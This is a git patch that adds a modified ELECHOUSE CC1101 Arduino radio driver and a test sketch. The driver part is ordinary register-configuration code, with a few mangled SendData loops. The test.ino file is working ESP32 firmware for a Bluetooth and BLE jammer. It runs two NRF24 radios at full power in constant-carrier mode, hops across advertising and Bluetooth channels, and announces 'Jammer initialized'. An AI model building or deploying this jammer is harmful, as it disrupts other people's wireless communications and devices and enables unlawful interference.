ELECHOUSE_CC1101::setAdrChk(byte v){ +Split_PKTCTRL1(); +pc1ADRCHK = 0; +if (v>3){v=3;} +pc1ADRCHK = v; +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); +} +/**************************************************************** +*FUNCTION NAME:Set WHITE_DATA +*FUNCTION :Turn data whitening on / off. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setWhiteData(bool v){ +Split_PKTCTRL0(); +pc0WDATA = 0; +if (v == 1){pc0WDATA=64;} +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); +} +/**************************************************************** +*FUNCTION NAME:Set PKT_FORMAT +*FUNCTION :Format of RX and TX data +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPktFormat(byte v){ +Split_PKTCTRL0(); +pc0PktForm = 0; +if (v>3){v=3;} +pc0PktForm = v*16; +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); +} +/**************************************************************** +*FUNCTION NAME:Set CRC +*FUNCTION :CRC calculation in TX and CRC check in RX +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setCrc(bool v){ +Split_PKTCTRL0(); +pc0CRC_EN = 0; +if (v==1){pc0CRC_EN=4;} +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); +} +/**************************************************************** +*FUNCTION NAME:Set LENGTH_CONFIG +*FUNCTION :Configure the packet length +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setLengthConfig(byte v){ +Split_PKTCTRL0(); +pc0LenConf = 0; +if (v>3){v=3;} +pc0LenConf = v; +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); +} +/**************************************************************** +*FUNCTION NAME:Set PACKET_LENGTH +*FUNCTION :Indicates the packet length +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPacketLength(byte v){ +SpiWriteReg(CC1101_PKTLEN, v); +} +/**************************************************************** +*FUNCTION NAME:Set DCFILT_OFF +*FUNCTION :Disable digital DC blocking filter before demodulator +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setDcFilterOff(bool v){ +Split_MDMCFG2(); +m2DCOFF = 0; +if (v==1){m2DCOFF=128;} +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); +} +/**************************************************************** +*FUNCTION NAME:Set MANCHESTER +*FUNCTION :Enables Manchester encoding/decoding +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setManchester(bool v){ +Split_MDMCFG2(); +m2MANCH = 0; +if (v==1){m2MANCH=8;} +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); +} +/**************************************************************** +*FUNCTION NAME:Set SYNC_MODE +*FUNCTION :Combined sync-word qualifier mode +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setSyncMode(byte v){ +Split_MDMCFG2(); +m2SYNCM = 0; +if (v>7){v=7;} +m2SYNCM=v; +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); +} +/**************************************************************** +*FUNCTION NAME:Set FEC +*FUNCTION :Enable Forward Error Correction (FEC) +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setFEC(bool v){ +Split_MDMCFG1(); +m1FEC=0; +if (v==1){m1FEC=128;} +SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP); +} +/**************************************************************** +*FUNCTION NAME:Set PRE +*FUNCTION :Sets the minimum number of preamble bytes to be transmitted. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPRE(byte v){ +Split_MDMCFG1(); +m1PRE=0; +if (v>7){v=7;} +m1PRE = v*16; +SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP); +} +/**************************************************************** +*FUNCTION NAME:Set Channel +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setChannel(byte ch){ +chan = ch; +SpiWriteReg(CC1101_CHANNR, chan); +} +/**************************************************************** +*FUNCTION NAME:Set Channel spacing +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setChsp(float f){ +Split_MDMCFG1(); +byte MDMCFG0 = 0; +m1CHSP = 0; +if (f > 405.456543){f = 405.456543;} +if (f < 25.390625){f = 25.390625;} +for (int i = 0; i<5; i++){ +if (f <= 50.682068){ +f -= 25.390625; +f /= 0.0991825; +MDMCFG0 = f; +float s1 = (f - MDMCFG0) *10; +if (s1 >= 5){MDMCFG0++;} +i = 5; +}else{ +m1CHSP++; +f/=2; +} +} +SpiWriteReg(19,m1CHSP+m1FEC+m1PRE); +SpiWriteReg(20,MDMCFG0); +} +/**************************************************************** +*FUNCTION NAME:Set Receive bandwidth +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setRxBW(float f){ +Split_MDMCFG4(); +int s1 = 3; +int s2 = 3; +for (int i = 0; i<3; i++){ +if (f > 101.5625){f/=2; s1--;} +else{i=3;} +} +for (int i = 0; i<3; i++){ +if (f > 58.1){f/=1.25; s2--;} +else{i=3;} +} +s1 *= 64; +s2 *= 16; +m4RxBw = s1 + s2; +SpiWriteReg(16,m4RxBw+m4DaRa); +} +/**************************************************************** +*FUNCTION NAME:Set Data Rate +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setDRate(float d){ +Split_MDMCFG4(); +float c = d; +byte MDMCFG3 = 0; +if (c > 1621.83){c = 1621.83;} +if (c < 0.0247955){c = 0.0247955;} +m4DaRa = 0; +for (int i = 0; i<20; i++){ +if (c <= 0.0494942){ +c = c - 0.0247955; +c = c / 0.00009685; +MDMCFG3 = c; +float s1 = (c - MDMCFG3) *10; +if (s1 >= 5){MDMCFG3++;} +i = 20; +}else{ +m4DaRa++; +c = c/2; +} +} +SpiWriteReg(16, m4RxBw+m4DaRa); +SpiWriteReg(17, MDMCFG3); +} +/**************************************************************** +*FUNCTION NAME:Set Devitation +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setDeviation(float d){ +float f = 1.586914; +float v = 0.19836425; +int c = 0; +if (d > 380.859375){d = 380.859375;} +if (d < 1.586914){d = 1.586914;} +for (int i = 0; i<255; i++){ +f+=v; +if (c==7){v*=2;c=-1;i+=8;} +if (f>=d){c=i;i=255;} +c++; +} +SpiWriteReg(21,c); +} +/**************************************************************** +*FUNCTION NAME:Split PKTCTRL0 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_PKTCTRL1(void){ +int calc = SpiReadStatus(7); +pc1PQT = 0; +pc1CRC_AF = 0; +pc1APP_ST = 0; +pc1ADRCHK = 0; +for (bool i = 0; i==0;){ +if (calc >= 32){calc-=32; pc1PQT+=32;} +else if (calc >= 8){calc-=8; pc1CRC_AF+=8;} +else if (calc >= 4){calc-=4; pc1APP_ST+=4;} +else {pc1ADRCHK = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split PKTCTRL0 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_PKTCTRL0(void){ +int calc = SpiReadStatus(8); +pc0WDATA = 0; +pc0PktForm = 0; +pc0CRC_EN = 0; +pc0LenConf = 0; +for (bool i = 0; i==0;){ +if (calc >= 64){calc-=64; pc0WDATA+=64;} +else if (calc >= 16){calc-=16; pc0PktForm+=16;} +else if (calc >= 4){calc-=4; pc0CRC_EN+=4;} +else {pc0LenConf = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split MDMCFG1 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_MDMCFG1(void){ +int calc = SpiReadStatus(19); +m1FEC = 0; +m1PRE = 0; +m1CHSP = 0; +int s2 = 0; +for (bool i = 0; i==0;){ +if (calc >= 128){calc-=128; m1FEC+=128;} +else if (calc >= 16){calc-=16; m1PRE+=16;} +else {m1CHSP = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split MDMCFG2 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_MDMCFG2(void){ +int calc = SpiReadStatus(18); +m2DCOFF = 0; +m2MODFM = 0; +m2MANCH = 0; +m2SYNCM = 0; +for (bool i = 0; i==0;){ +if (calc >= 128){calc-=128; m2DCOFF+=128;} +else if (calc >= 16){calc-=16; m2MODFM+=16;} +else if (calc >= 8){calc-=8; m2MANCH+=8;} +else{m2SYNCM = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split MDMCFG4 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Split_MDMCFG4(void){ +int calc = SpiReadStatus(16); +m4RxBw = 0; +m4DaRa = 0; +for (bool i = 0; i==0;){ +if (calc >= 64){calc-=64; m4RxBw+=64;} +else if (calc >= 16){calc -= 16; m4RxBw+=16;} +else{m4DaRa = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:RegConfigSettings +*FUNCTION :CC1101 register config //details refer datasheet of CC1101/CC1100// +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::RegConfigSettings(void) +{ + SpiWriteReg(CC1101_FSCTRL1, 0x06); + + setCCMode(ccmode); + setMHZ(MHz); + + SpiWriteReg(CC1101_MDMCFG1, 0x02); + SpiWriteReg(CC1101_MDMCFG0, 0xF8); + SpiWriteReg(CC1101_CHANNR, chan); + SpiWriteReg(CC1101_DEVIATN, 0x47); + SpiWriteReg(CC1101_FREND1, 0x56); + SpiWriteReg(CC1101_MCSM0 , 0x18); + SpiWriteReg(CC1101_FOCCFG, 0x16); + SpiWriteReg(CC1101_BSCFG, 0x1C); + SpiWriteReg(CC1101_AGCCTRL2, 0xC7); + SpiWriteReg(CC1101_AGCCTRL1, 0x00); + SpiWriteReg(CC1101_AGCCTRL0, 0xB2); + SpiWriteReg(CC1101_FSCAL3, 0xE9); + SpiWriteReg(CC1101_FSCAL2, 0x2A); + SpiWriteReg(CC1101_FSCAL1, 0x00); + SpiWriteReg(CC1101_FSCAL0, 0x1F); + SpiWriteReg(CC1101_FSTEST, 0x59); + SpiWriteReg(CC1101_TEST2, 0x81); + SpiWriteReg(CC1101_TEST1, 0x35); + SpiWriteReg(CC1101_TEST0, 0x09); + SpiWriteReg(CC1101_PKTCTRL1, 0x04); + SpiWriteReg(CC1101_ADDR, 0x00); + SpiWriteReg(CC1101_PKTLEN, 0x00); +} +/**************************************************************** +*FUNCTION NAME:SetTx +*FUNCTION :set CC1101 send data +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SetTx(void) +{ + SpiStrobe(CC1101_SIDLE); + SpiStrobe(CC1101_STX); //start send + trxstate=1; +} +/**************************************************************** +*FUNCTION NAME:SetRx +*FUNCTION :set CC1101 to receive state +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SetRx(void) +{ + SpiStrobe(CC1101_SIDLE); + SpiStrobe(CC1101_SRX); //start receive + trxstate=2; +} +/**************************************************************** +*FUNCTION NAME:SetTx +*FUNCTION :set CC1101 send data and change frequency +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SetTx(float mhz) +{ + SpiStrobe(CC1101_SIDLE); + setMHZ(mhz); + SpiStrobe(CC1101_STX); //start send + trxstate=1; +} +/**************************************************************** +*FUNCTION NAME:SetRx +*FUNCTION :set CC1101 to receive state and change frequency +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SetRx(float mhz) +{ + SpiStrobe(CC1101_SIDLE); + setMHZ(mhz); + SpiStrobe(CC1101_SRX); //start receive + trxstate=2; +} +/**************************************************************** +*FUNCTION NAME:RSSI Level +*FUNCTION :Calculating the RSSI Level +*INPUT :none +*OUTPUT :none +****************************************************************/ +int ELECHOUSE_CC1101::getRssi(void) +{ +int rssi; +rssi=SpiReadStatus(CC1101_RSSI); +if (rssi >= 128){rssi = (rssi-256)/2-74;} +else{rssi = (rssi/2)-74;} +return rssi; +} +/**************************************************************** +*FUNCTION NAME:LQI Level +*FUNCTION :get Lqi state +*INPUT :none +*OUTPUT :none +****************************************************************/ +byte ELECHOUSE_CC1101::getLqi(void) +{ +byte lqi; +lqi=SpiReadStatus(CC1101_LQI); +return lqi; +} +/**************************************************************** +*FUNCTION NAME:SetSres +*FUNCTION :Reset CC1101 +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setSres(void) +{ + SpiStrobe(CC1101_SRES); + trxstate=0; +} +/**************************************************************** +*FUNCTION NAME:setSidle +*FUNCTION :set Rx / TX Off +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setSidle(void) +{ + SpiStrobe(CC1101_SIDLE); + trxstate=0; +} +/**************************************************************** +*FUNCTION NAME:goSleep +*FUNCTION :set cc1101 Sleep on +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::goSleep(void){ + trxstate=0; + SpiStrobe(0x36);//Exit RX / TX, turn off frequency synthesizer and exit + SpiStrobe(0x39);//Enter power down mode when CSn goes high. +} +/**************************************************************** +*FUNCTION NAME:Char direct SendData +*FUNCTION :use CC1101 send data +*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61 +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SendData(char *txchar) +{ +int len = strlen(txchar); +byte chartobyte[len]; +for (int i = 0; i sync transmitted + while (digitalRead(GDO0)); // Wait for GDO0 to be cleared -> end of packet + SpiStrobe(CC1101_SFTX); //flush TXfifo + trxstate=1; +} +/**************************************************************** +*FUNCTION NAME:Char direct SendData +*FUNCTION :use CC1101 send data without GDO +*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61 +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SendData(char *txchar,int t) +{ +int len = strlen(txchar); +byte chartobyte[len]; +for (int i = 0; i + Version: November 12, 2010 + + This library is designed to use CC1101/CC1100 module on Arduino platform. + CC1101/CC1100 module is an useful wireless module.Using the functions of the + library, you can easily send and receive data by the CC1101/CC1100 module. + Just have fun! + For the details, please refer to the datasheet of CC1100/CC1101. +---------------------------------------------------------------------------------------------------------------- +cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). +---------------------------------------------------------------------------------------------------------------- +*/ +#ifndef ELECHOUSE_CC1101_SRC_DRV_h +#define ELECHOUSE_CC1101_SRC_DRV_h + +#include + +//***************************************CC1101 define**************************************************// +// CC1101 CONFIG REGSITER +#define CC1101_IOCFG2 0x00 // GDO2 output pin configuration +#define CC1101_IOCFG1 0x01 // GDO1 output pin configuration +#define CC1101_IOCFG0 0x02 // GDO0 output pin configuration +#define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO thresholds +#define CC1101_SYNC1 0x04 // Sync word, high INT8U +#define CC1101_SYNC0 0x05 // Sync word, low INT8U +#define CC1101_PKTLEN 0x06 // Packet length +#define CC1101_PKTCTRL1 0x07 // Packet automation control +#define CC1101_PKTCTRL0 0x08 // Packet automation control +#define CC1101_ADDR 0x09 // Device address +#define CC1101_CHANNR 0x0A // Channel number +#define CC1101_FSCTRL1 0x0B // Frequency synthesizer control +#define CC1101_FSCTRL0 0x0C // Frequency synthesizer control +#define CC1101_FREQ2 0x0D // Frequency control word, high INT8U +#define CC1101_FREQ1 0x0E // Frequency control word, middle INT8U +#define CC1101_FREQ0 0x0F // Frequency control word, low INT8U +#define CC1101_MDMCFG4 0x10 // Modem configuration +#define CC1101_MDMCFG3 0x11 // Modem configuration +#define CC1101_MDMCFG2 0x12 // Modem configuration +#define CC1101_MDMCFG1 0x13 // Modem configuration +#define CC1101_MDMCFG0 0x14 // Modem configuration +#define CC1101_DEVIATN 0x15 // Modem deviation setting +#define CC1101_MCSM2 0x16 // Main Radio Control State Machine configuration +#define CC1101_MCSM1 0x17 // Main Radio Control State Machine configuration +#define CC1101_MCSM0 0x18 // Main Radio Control State Machine configuration +#define CC1101_FOCCFG 0x19 // Frequency Offset Compensation configuration +#define CC1101_BSCFG 0x1A // Bit Synchronization configuration +#define CC1101_AGCCTRL2 0x1B // AGC control +#define CC1101_AGCCTRL1 0x1C // AGC control +#define CC1101_AGCCTRL0 0x1D // AGC control +#define CC1101_WOREVT1 0x1E // High INT8U Event 0 timeout +#define CC1101_WOREVT0 0x1F // Low INT8U Event 0 timeout +#define CC1101_WORCTRL 0x20 // Wake On Radio control +#define CC1101_FREND1 0x21 // Front end RX configuration +#define CC1101_FREND0 0x22 // Front end TX configuration +#define CC1101_FSCAL3 0x23 // Frequency synthesizer calibration +#define CC1101_FSCAL2 0x24 // Frequency synthesizer calibration +#define CC1101_FSCAL1 0x25 // Frequency synthesizer calibration +#define CC1101_FSCAL0 0x26 // Frequency synthesizer calibration +#define CC1101_RCCTRL1 0x27 // RC oscillator configuration +#define CC1101_RCCTRL0 0x28 // RC oscillator configuration +#define CC1101_FSTEST 0x29 // Frequency synthesizer calibration control +#define CC1101_PTEST 0x2A // Production test +#define CC1101_AGCTEST 0x2B // AGC test +#define CC1101_TEST2 0x2C // Various test settings +#define CC1101_TEST1 0x2D // Various test settings +#define CC1101_TEST0 0x2E // Various test settings + +//CC1101 Strobe commands +#define CC1101_SRES 0x30 // Reset chip. +#define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1). + // If in RX/TX: Go to a wait state where only the synthesizer is + // running (for quick RX / TX turnaround). +#define CC1101_SXOFF 0x32 // Turn off crystal oscillator. +#define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off + // (enables quick start). +#define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and + // MCSM0.FS_AUTOCAL=1. +#define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if + // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled: + // Only go to TX if channel is clear. +#define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit + // Wake-On-Radio mode if applicable. +#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer +#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio) +#define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high. +#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer. +#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer. +#define CC1101_SWORRST 0x3C // Reset real time clock. +#define CC1101_SNOP 0x3D // No operation. May be used to pad strobe commands to two + // INT8Us for simpler software. +//CC1101 STATUS REGSITER +#define CC1101_PARTNUM 0x30 +#define CC1101_VERSION 0x31 +#define CC1101_FREQEST 0x32 +#define CC1101_LQI 0x33 +#define CC1101_RSSI 0x34 +#define CC1101_MARCSTATE 0x35 +#define CC1101_WORTIME1 0x36 +#define CC1101_WORTIME0 0x37 +#define CC1101_PKTSTATUS 0x38 +#define CC1101_VCO_VC_DAC 0x39 +#define CC1101_TXBYTES 0x3A +#define CC1101_RXBYTES 0x3B + +//CC1101 PATABLE,TXFIFO,RXFIFO +#define CC1101_PATABLE 0x3E +#define CC1101_TXFIFO 0x3F +#define CC1101_RXFIFO 0x3F + +//************************************* class **************************************************// +class ELECHOUSE_CC1101 +{ +private: + void SpiStart(void); + void SpiEnd(void); + void GDO_Set (void); + void GDO0_Set (void); + void Reset (void); + void setSpi(void); + void RegConfigSettings(void); + void Calibrate(void); + void Split_PKTCTRL0(void); + void Split_PKTCTRL1(void); + void Split_MDMCFG1(void); + void Split_MDMCFG2(void); + void Split_MDMCFG4(void); +public: + void Init(void); + byte SpiReadStatus(byte addr); + void setSpiPin(byte sck, byte miso, byte mosi, byte ss); + void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul); + void setGDO(byte gdo0, byte gdo2); + void setGDO0(byte gdo0); + void addGDO(byte gdo0, byte gdo2, byte modul); + void addGDO0(byte gdo0, byte modul); + void setModul(byte modul); + void setCCMode(bool s); + void setModulation(byte m); + void setPA(int p); + void setMHZ(float mhz); + void setChannel(byte chnl); + void setChsp(float f); + void setRxBW(float f); + void setDRate(float d); + void setDeviation(float d); + void SetTx(void); + void SetRx(void); + void SetTx(float mhz); + void SetRx(float mhz); + int getRssi(void); + byte getLqi(void); + void setSres(void); + void setSidle(void); + void goSleep(void); + void SendData(byte *txBuffer, byte size); + void SendData(char *txchar); + void SendData(byte *txBuffer, byte size, int t); + void SendData(char *txchar, int t); + byte CheckReceiveFlag(void); + byte ReceiveData(byte *rxBuffer); + bool CheckCRC(void); + void SpiStrobe(byte strobe); + void SpiWriteReg(byte addr, byte value); + void SpiWriteBurstReg(byte addr, byte *buffer, byte num); + byte SpiReadReg(byte addr); + void SpiReadBurstReg(byte addr, byte *buffer, byte num); + void setClb(byte b, byte s, byte e); + bool getCC1101(void); + byte getMode(void); + void setSyncWord(byte sh, byte sl); + void setAddr(byte v); + void setWhiteData(bool v); + void setPktFormat(byte v); + void setCrc(bool v); + void setLengthConfig(byte v); + void setPacketLength(byte v); + void setDcFilterOff(bool v); + void setManchester(bool v); + void setSyncMode(byte v); + void setFEC(bool v); + void setPRE(byte v); + void setPQT(byte v); + void setCRC_AF(bool v); + void setAppendStatus(bool v); + void setAdrChk(byte v); + bool CheckRxFifo(int t); +}; + +extern ELECHOUSE_CC1101 ELECHOUSE_cc1101; + +#endif \ No newline at end of file diff --git a/test/test.ino b/test/test.ino new file mode 100644 index 0000000..8a3fbdf --- /dev/null +++ b/test/test.ino @@ -0,0 +1,267 @@ +#include +#include +#include +#include +#include +#include "esp_bt.h" + +// ================= NRF24 ================= +#define CE1_PIN 10 +#define CSN1_PIN 11 + +#define CE2_PIN 12 +#define CSN2_PIN 13 + +#define NRF_SCK 18 +#define NRF_MISO 16 +#define NRF_MOSI 17 + +// ================= OLED ================== +#define OLED_SDA_PIN 8 +#define OLED_SCL_PIN 9 + +// ================= Buttons =============== +#define BTN_UP 4 + +// ========================================= + +// Third radio optional +#define CE3_PIN 46 +#define CSN3_PIN 48 + +SPIClass *NRF_SPI = nullptr; + +// RF24 radios +RF24 RadioA(CE1_PIN, CSN1_PIN); +RF24 RadioB(CE2_PIN, CSN2_PIN); + +// OLED +U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2( + U8G2_R0, + U8X8_PIN_NONE, + OLED_SCL_PIN, + OLED_SDA_PIN +); + +enum OperationMode { + DEACTIVE_MODE, + BLE_MODULE, + Bluetooth_MODULE +}; + +OperationMode currentMode = DEACTIVE_MODE; + +// BLE advertising channels +const byte ble_channels[] = {2, 26, 80}; + +// Bluetooth hopping channels +//const byte bluetooth_channels[] = { +// 32, 34, 46, 48, 50, 52, +// 0, 1, 2, 4, 6, 8, +// 22, 24, 26, 28, 30, +// 74, 76, 78, 80 +//}; + +const byte bluetooth_channels[] = { + 12, 17, 22, 27, 32, + 37, 42, 47, 52, 57, + 62, 67, 72 +}; + +volatile bool modeChangeRequested = false; + +unsigned long lastButtonPressTime = 0; +const unsigned long debounceDelay = 500; + +// ========================================= +// NRF CONFIG +// ========================================= + +void configureNrf(RF24 &radio) { + + radio.begin(NRF_SPI); + + radio.setAutoAck(false); + radio.stopListening(); + + radio.setRetries(0, 0); + radio.setPALevel(RF24_PA_MAX); + radio.setDataRate(RF24_2MBPS); + + radio.disableCRC(); +} + +// ========================================= + +void IRAM_ATTR handleButtonPress() { + + unsigned long currentTime = millis(); + + if (currentTime - lastButtonPressTime > debounceDelay) { + modeChangeRequested = true; + lastButtonPressTime = currentTime; + } +} + +// ========================================= + +void configureRadio(RF24 &radio) { + + configureNrf(radio); + + radio.startConstCarrier( + RF24_PA_MAX, + 40 + ); +} + +// ========================================= + +void initializeRadios() { + + if (currentMode == DEACTIVE_MODE) { + + RadioA.powerDown(); + RadioB.powerDown(); + + return; + } + + configureRadio(RadioA); + configureRadio(RadioB); +} + +// ========================================= + +void updateOLED() { + + u8g2.clearBuffer(); + + u8g2.setFont(u8g2_font_6x10_tr); + + u8g2.setCursor(0, 12); + u8g2.print("Mode:"); + + u8g2.setCursor(50, 12); + + if (currentMode == BLE_MODULE) { + u8g2.print("BLE"); + } + else if (currentMode == Bluetooth_MODULE) { + u8g2.print("BT"); + } + else { + u8g2.print("OFF"); + } + + u8g2.setCursor(0, 30); + u8g2.print("R1:"); + u8g2.print(RadioA.isChipConnected()); + + u8g2.setCursor(0, 45); + u8g2.print("R2:"); + u8g2.print(RadioB.isChipConnected()); + + u8g2.setCursor(0, 60); + u8g2.print("R3:"); + + u8g2.sendBuffer(); +} + +// ========================================= + +void checkModeChange() { + + if (!modeChangeRequested) + return; + + modeChangeRequested = false; + + currentMode = + static_cast( + (currentMode + 1) % 3 + ); + + initializeRadios(); + + updateOLED(); +} + +// ========================================= +// SETUP +// ========================================= + +void setup() { + + Serial.begin(115200); + + // Disable ESP32 radios + esp_bt_controller_deinit(); + + WiFi.mode(WIFI_OFF); + btStop(); + + // SPI + NRF_SPI = new SPIClass(FSPI); + + NRF_SPI->begin( + NRF_SCK, + NRF_MISO, + NRF_MOSI + ); + + // OLED + u8g2.begin(); + + // Button + pinMode(BTN_UP, INPUT_PULLUP); + + attachInterrupt( + digitalPinToInterrupt(BTN_UP), + handleButtonPress, + FALLING + ); + + initializeRadios(); + + updateOLED(); + + Serial.println("Jammer initialized"); +} + +// ========================================= +// LOOP +// ========================================= + +void loop() { + + checkModeChange(); + + if (currentMode == BLE_MODULE) { + + byte channel = + ble_channels[ + random( + sizeof(ble_channels) + ) + ]; + + RadioA.setChannel(channel); + RadioB.setChannel(channel); + } + + else if (currentMode == Bluetooth_MODULE) { + + byte channel = + bluetooth_channels[ + random( + sizeof(bluetooth_channels) + ) + ]; + + RadioA.setChannel(channel); + RadioB.setChannel(channel); + } + + delay(5); +} -- cgit v1.2.3